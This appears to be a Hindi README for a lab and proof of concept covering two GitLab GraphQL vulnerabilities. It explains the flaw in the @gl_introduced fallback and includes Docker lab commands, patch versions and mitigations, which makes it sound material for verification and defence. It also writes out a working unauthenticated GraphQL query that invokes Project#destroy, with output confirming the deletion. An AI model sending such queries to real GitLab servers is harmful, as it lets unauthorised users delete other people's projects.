
GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) के लिए प्रतिलिपि योग्य A/B लैब + सुरक्षित PoC
@gl_introduced बिना प्रमाणीकरण के आर्बिट्रेरी-मेथड-इनवोकेशन (सत्यापन लैब + PoC)CVE-2026-19478 के लिए प्रतिलिपि योग्य A/B लैब और सुरक्षित PoC (GitLab CE/EE, CVSS 9.4, क्रिटिकल)। एक बिना प्रमाणीकरण वाला हमलावर GraphQL-रिज़ॉल्व किए गए डोमेन ऑब्जेक्ट्स पर मनमाने 0-आर्गुमेंट Ruby मेथड्स इनवोक कर सकता है — जैसे
Project#destroyको कॉल करके बिना क्रेडेंशियल के पब्लिक प्रोजेक्ट डिलीट करना।साथ में उसी रिलीज़ में फिक्स किए गए सहयोगी CVE-2026-19650 (GraphQL मल्टीप्लेक्स क्वेरी-स्वैप) के लिए भी एक PoC शामिल है।
केवल अधिकृत सुरक्षा परीक्षण / शिक्षा के लिए। सब कुछ आपके अपने लोकल कंटेनरों पर चलता है।
GitLab एक GraphQL क्लाइंट डायरेक्टिव @gl_introduced(version: "X.Y.Z") शिप करता है (फॉरवर्ड-कम्पैटिबिलिटी
रोलिंग डिप्लॉय के लिए)। जब कोई क्वेरी चल रहे सर्वर से नए वर्शन वाले किसी फील्ड का नाम लेती है, तो एक ट्रेसर
(Gitlab::Graphql::VersionFilter::IntroducedTracer) उसे स्टैटिक वैलिडेशन से पहले हटा देता है, ताकि क्वेरी
वैलिडेट हो जाए, फिर इसे एक्सिक्यूशन पर मूल डॉक्यूमेंट को दोबारा चलाता है और अज्ञात फील्ड्स को फॉलबैक पर रिज़ॉल्व होने देता है।
बग फॉलबैक में है (lib/gitlab/graphql/version_filter/future_field_fallback.rb, प्री-पैच):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
बिना रिज़ॉल्वर वाला एक GraphQL::Schema::Field graphql-ruby द्वारा निम्न कॉल करके रिज़ॉल्व किया जाता है:
object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb —
respond_to?(@method_sym) → public_send ब्रांच fallback_value के कभी consult होने से पहले चलती है, इसलिए
fallback_value: nil डेड कोड था)। अतः @gl_introduced के अंतर्गत, क्लाइंट ऐसा फील्ड नाम चुनता है जो
वर्तमान में रिज़ॉल्व किए गए ऑब्जेक्ट पर किसी भी 0-आर्ग मेथड के बराबर होता है, और सर्वर उसे इनवोक कर देता है।
एक पब्लिक प्रोजेक्ट रिज़ॉल्व करें, destroy नामक "फ्यूचर फील्ड" का अनुरोध करें → सर्वर Project#destroy चला देता है।
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H)।Resolvers::NilResolver का उपयोग करता है जो nil लौटाता है और कभी कोई मेथड कॉल नहीं करता।@gl_introduced(version:) सर्वर वर्शन से अधिक होना चाहिए (99.0.0 उपयोग करें)।to_param, destroy)।id) होना चाहिए, अन्यथा फ़िल्टर किया गया डॉक्यूमेंट एक खाली
सेलेक्शन सेट होता है और GitLab "Field must have selections" वैलिडेशन एरर लौटाता है।आवश्यकताएँ: Docker + docker compose, ~8 GB खाली RAM, Python 3।
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh प्रत्येक इंस्टेंस के लिए प्रिंट करता है: बेस URL, सीड किया गया पब्लिक प्रोजेक्ट पथ (root/pub), और एक एडमिन PAT।
हार्मलेस मेथड (to_param) के साथ मेथड-कॉल प्रिमिटिव का उपयोग करता है। कोई डेटा परिवर्तित नहीं होता।
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
अपेक्षित:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
जबकि पैच किए गए इंस्टेंस पर:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
REST API के माध्यम से अपना खुद का disposable पब्लिक प्रोजेक्ट बनाता है (setup.sh से एडमिन टोकन चाहिए),
फिर बिना प्रमाणीकरण वाले GraphQL अटैक से उसे डिलीट करता है, और पुष्टि करता है कि प्रोजेक्ट चला गया है।
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
अपेक्षित (भेद्य):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
पैच किए गए इंस्टेंस पर, वही रन रिपोर्ट करता है कि प्रोजेक्ट अभी भी 200 OK लौटाता है और destroy null है।
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
--url को किसी भी ऐसे GitLab पर पॉइंट करें जिसे आप परीक्षण के लिए अधिकृत हैं, और --project को उस पर मौजूद किसी पब्लिक प्रोजेक्ट पर:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
डिटेक्शन गैर-विनाशकारी है। ऐसी किसी भी चीज़ पर --prove-destroy का उपयोग न करें जो आपकी नहीं है।
19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 या बाद के वर्शन में अपग्रेड करें। फिक्स फॉलबैक को
Resolvers::NilResolver के माध्यम से रूट करता है (nil लौटाता है, कभी ऑब्जेक्ट मेथड इनवोक नहीं करता)। यदि आप तुरंत अपग्रेड
नहीं कर सकते, तो प्रॉक्सी पर @gl_introduced डायरेक्टिव / वर्शन-फ़िल्टर पथ को ब्लॉक करें, या
बिना प्रमाणीकरण वाले GraphQL एक्सेस को प्रतिबंधित करें।
| फ़ाइल | उद्देश्य |
|---|---|
docker-compose.yml | भेद्य 19.2.2-ce (:8222) + पैच्ड 19.2.4-ce (:8224) बूट करता है |
setup.sh | रेडिनेस के लिए प्रतीक्षा करता है, प्रति इंस्टेंस root/pub पब्लिक प्रोजेक्ट + एडमिन टोकन सीड करता है |
poc_cve_2026_19478.py | डिटेक्शन (सुरक्षित) + वैकल्पिक --prove-destroy प्रभाव प्रमाण |
poc_cve_2026_19650.py | मल्टीप्लेक्स क्वेरी-स्वैप डिटेक्शन (सुरक्षित) |
--prove-destroy अपने खुद के throwaway प्रोजेक्ट को बनाता और डिलीट करता है; यह root/pub या आपके डेटा को कभी छूता नहीं है।e283c6adeb3d (फॉलबैक) और d2ea4b971a98 (मल्टीप्लेक्स स्वैप)।